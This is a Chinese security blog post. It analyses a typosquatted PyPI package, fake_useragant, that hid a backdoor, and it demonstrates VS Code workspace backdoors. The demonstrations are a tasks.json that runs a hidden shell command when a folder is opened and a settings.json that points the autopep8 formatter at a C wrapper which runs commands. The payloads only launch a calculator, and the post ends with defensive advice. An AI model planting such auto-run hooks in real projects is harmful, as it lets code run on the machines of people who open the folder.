这是橘子杀手的第 51 篇文章
题图摄于:杭州 · 阳台
7.25 有位小伙伴在小群里发了这张截图:
fake_useragent
相信写爬虫比较多的橘友都用过,它可以随机生成一些看起来很合理的 ua,用来做一些简单的反反爬。这个恶意的库名叫 fake_useragant
,就差一个字母。
正好那段时间在护网,所以我想着不如分析分析看看是不是攻击队又有啥新手法了
由于 pypi 官方响应非常快,这个包在我准备下载的时候已经被删除了。不过一般来说自建源和官方源的同步都存在一定的时间差,所以可以去清华源之类的下载(其实这个时候也可以看出自建源存在的弊端 )
整个恶意库的源码非常简单:
然后下载真正的 fake_useragent
做了一下 diff。其实直接看修改日期也可以看到哪些文件改掉了。
除了名字替换之外,主要的修改在:
fake.py
中新增了 FakeUserAgent.exit
方法urllib2.py
,里面有 task
和 urlparse
函数,还特意用 import pickle as json
做了个障眼法。task
会调用 urlparse
,而 urlparse
函数包含了恶意的 payload恶意的 payload 解到最后是这样的:
感兴趣的橘友可以自行分析这段 shellcode 的作用。
分析到此就结束了,这个后门并不复杂。问题是,通常恶意库的触发点都会放在 setup.py
下,但是我并没有在这个后门的源码中找到触发点,也就是说我直接 pip install
也不会有问题。这就很奇怪了
问了下小伙伴,说是有个人假装防守队,说自己捕获了攻击队的 0day 利用,所以写了个 exp 放到 GitHub 上了:
https://github.com/FuckRedTeam/360tianqingRCE/blob/1326a51307e576b22a36ec79c466471af5e17086/360tianqing-RCE.py#L90
这鱼钓的。。。所以它俩是搭配使用的,这就说得通了
至此,还剩最后一个问题,就是网传用 vscode 打开之后,点击信任文件夹也可能会被日。那么到底存不存在这种可能性呢?如果可能的话,那么具体要如何复现呢?
vscode 会在你打开一个新的文件夹时提示:
由于我没用过 vscode,一般用的是 sublime,所以我特意去官网上看了下这个操作的含义:
https://code.visualstudio.com/docs/editor/workspace-trust#_trusting-a-workspace
设置为不信任模式,主要是通过禁用或限制几个 vscode 功能的操作来阻止自动代码执行,包括:task、debug、工作区设置和插件。所以我们可以尝试通过这几种配置来制作后门
为了实现我们的目的,首先需要创建一个 .vscode
目录。
由于精力有限,我就测试了两种方式。
看了下 task 的配置,文件名就叫 tasks.json
,配置如下:
{
"version": "1.0.0",
"tasks": [
{
"label": "x",
"type": "shell",
"command": "calc; open -a /System/Applications/Calculator.app",
"presentation": {
"reveal": "never"
},
"runOptions": {
"runOn": "folderOpen",
}
}
]
}
稍微解释一下:
type
、command
:用于配置自动执行的命令presentation
的 reveal
需要设置为 "never"
,这样执行 task 的时候就不会弹个控制台出来。runOptions
的 runOn
设定为文件夹打开的时候就执行至于这个执行的命令,为了兼容多平台,可以用 ;
分割写不同的指令,执行失败会继续尝试。
这样,只要分析的时候不小心点了“信任”,就会触发这个后门
需要注意的是,提示是否信任的时候,如果点击得太慢,那么本次是不会触发 task 执行的(我猜测弹窗等待确认并不会阻塞执行 task 的逻辑,它们是并行的事件),但是下次打开必定会触发。
vscode 的配置比较多,我这里就举个例子说明吧。
settings.json
里可以给插件配置一个可执行文件的位置。如果这个可执行文件是后门,那么在格式化代码的时候就会触发:
{
"files.autoSave": "onWindowChange",
"editor.formatOnSave": true,
"editor.formatOnPaste": true,
"python.formatting.autopep8Path": ".vscode/a.out",
}
python.formatting.autopep8Path
将 autopep8
的可执行文件指向我们的后门。需要注意的是这里似乎无法使用 shell 脚本,必须要是一个二进制类型的可执行文件editor.formatOnPaste
(声明文件在保存时自动格式化代码;)、editor.formatOnPaste
(声明文件在粘贴时自动格式化代码)、files.autoSave
(文件在 vscode 失去焦点时自动保存),这三者都是为了提高触发后门的几率接下来只需要写个恶意的二进制文件就行了:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>int main(int argc, char *argv[]) {
char str[300] = {};
strcat(str, "open -a /System/Applications/Calculator.app; autopep8 ");
strcat(str, argv[1]);
strcat(str, " ");
strcat(str, argv[2]);
system(str);
return 0;
}
恶意指令后面加个 autopep8
以及传入的参数用于正常地去格式化代码,尽量做到无感。
需要注意的是这个可执行文件不要随意打印内容,否则会执行失败,具体原因我也懒得研究了。
最后我们可以故意把源码弄成很乱的格式,正常一看这么乱肯定就要先格式化一下,然后就 G 了。
源码都打包传到 pypi 去了,payload 就是弹个计算器而已,没有攻击性的 payload,感兴趣可以自己尝试一下:
源码
https://github.com/Macr0phag3/vscode-door
py 库地址
https://pypi.org/project/fake-usreagant/0.0.3/#files
要做到比较完善的话,可能需要搜集下类似的插件,尽可能把可执行文件路径的配置覆盖全。同时其他配置也可能可以制作后门。
最后再说一点,vscode 在信任的时候有个选项,可以勾选是否信任父文件夹,这个一定要谨慎打钩。一个常见的攻击场景是,某安全工程师由于经常需要下载源码预览,为了方便就把整个下载目录设为可信目录。这个时候只要下到一个带有 .vscode
的恶意源码就会中招
并且其他编辑器例如 idea 或许也存在这个问题,精力有限,就不测试了。
其实 360tianqing-RCE.py
那个仓库最好再加个 requirement.txt
,这样可能会有人直接 pip install -r requirement.txt
了,中招的概率进一步增大,这一点没啥好说的,不管是不是敏感时期,拿到 exp 都要仔细看看啊。
其次就是分析恶意软件或者源码的时候尽量在虚拟机进行吧。像 vscode 这种信任,说实话,绝大部分人都会点信任,常在河边走哪有不湿鞋,还是小心点为妙
你你你居然在 exp 里下毒!